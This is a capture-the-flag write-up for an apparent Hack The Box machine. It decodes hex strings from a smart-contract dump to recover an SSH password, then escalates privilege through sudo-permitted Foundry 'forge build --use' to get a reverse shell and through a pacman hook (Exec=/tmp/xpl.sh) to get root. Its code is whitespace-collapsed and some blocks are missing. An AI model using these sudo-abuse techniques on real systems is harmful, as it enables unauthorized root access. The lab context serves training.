import stringimport redefextract_and_decode_data(file_path,min_length=4): data_lines =[]# Open and read the file line by linewithopen(file_path,'r')as file:for line in file:if'Data:'in line:# Extract the hex data after 'Data:' and remove '0x' prefix hex_data = line.split('Data:')[1].strip().replace('0x','') data_lines.append(hex_data)# Decode and filter stringsfor hex_data in data_lines:try: ascii_string =bytes.fromhex(hex_data).decode('utf-8',errors='ignore')# Filter out non-printable characters and only keep strings with a minimum length filtered_string =''.join(filter(lambdax: x in string.printable, ascii_string)).strip('\x00')# Print only strings with a minimum lengthiflen(filtered_string)>= min_length:print(filtered_string)exceptValueErroras e:pass# Skip any data that causes decoding errors# Specify the path to out.txt filefile_path ='out.txt'extract_and_decode_data(file_path)
We can identify some suspicious contents after running the script:
Notable Strings:
"Only owner can call this functio": This suggests a function in a smart contract that is owner-restricted.
"Username already exists": Indicates a potential login or registration check.
"ipfsX", "solcC": Reference to IPFS (InterPlanetary File System) and Solidity compiler, respectively.
More importantly, "medayBitCoinWill", "llapse" might be parts of a sentence, potentially "Someday Bitcoin Will Collapse". And it was inputted right before the string eira which should be the username keria we identified earlier.
Try the password SomedayBitCoinWillCollapse for user Keira, we can now SSH login and take the user flag:
Foundry | Paul
Sudo | Foundry
Check sudo privileges for user Keira:
[keira@blockblock ~]$ sudo -lUser keira may run the following commands on blockblock: (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
Command Allowed: /home/paul/.foundry/bin/forge
As User: paul (via sudo as keira)
NOPASSWD: No password is required to run the command.
The binary forge is a Foundry tool commonly used for Ethereum smart contract development.
Run the following command to understand what forge can do:
Bash
sudo-upaul/home/paul/.foundry/bin/forge--help
It turns out this is a standard Foundry functionality, as detailed in the Foundry Book. With this knowledge, we can explore multiple privilege escalation techniques by leveraging the command execution primitive it provides.
Foundry Forge
For example, we can initialize a new project using the foundry init command as usual, followed by building it with foundry build. By appending the --help flag, we can explore options that allow us to execute specific commands, binaries, or symlinks:
Here, the forge build --use option in Foundry allows us to specify a custom Solidity compiler binary (solc) for building our project. Moreover, we can specify the Path to the solc binary or executable we want to use for compilation.
Therefore, this presents a straightforward arbitrary command execution attack surface. The first step is to Initialize a New Project. We can create a new Foundry project at a writable path with the following command:
Set up a listener in advance, we will then catch a reverse shell from user Paul, who has a sudo privilege on pacman:
Pacman |Root
Sudo | Pacman
Pacman (Package Manager) is the default package manager for Arch Linux and its derivatives, as we just introduced in this post about starting up an Arch Linux OS for hackers. It is used to manage software packages, providing commands to install, update, remove, and query packages.
Such package managers always require root privilege to run, like sudo apt-get, sudo yum, etc. With sudo access to pacman, we surely have command-execution privilege in different ways:
Pacman | Hookdir
Usually, we use sudo pacman -S <package> to install from the official repository, remotely. And we can also execute pacman with the --upgrade (-U) operation, which installs a local package.
We can create a malicious hook script for the installation during a package transaction, which is detailed explain in Pacman Wiki.
Operation = Install: The hook will activate when a package is installed.
Type = Package: Indicates that the hook targets package installation.
Target = *: Applies to all packages.
Action:
When = PostTransaction: Executes the hook after the transaction (package installation).
Exec = /tmp/xpl.sh: Runs the hook script.
Next, we need to Create a Custom Package since HTB machines are often restricted from accessing the Internet for external package synchronization. This involves adding a PKGBUILD file to define metadata for a custom Arch Linux package:
Bash
mkdir-p/tmp/pkgcat<<EOF> /tmp/pkg/PKGBUILDpkgname=axura-pkgpkgver=1.0pkgrel=1arch=('any')pkgdesc="Nice package with a funny hook"license=('GPL')EOF
PKGBUILD File:
A minimal configuration is sufficient for this exploit, as we only need a package to trigger the hook.
Next, we use the makepkg command to build the metadata and create a package file, which can then be installed using pacman:
Bash
cdpkg&& \makepkg-cf
Finally, now we can Install the Package with the Malicious Hook:
Comments | NOTHING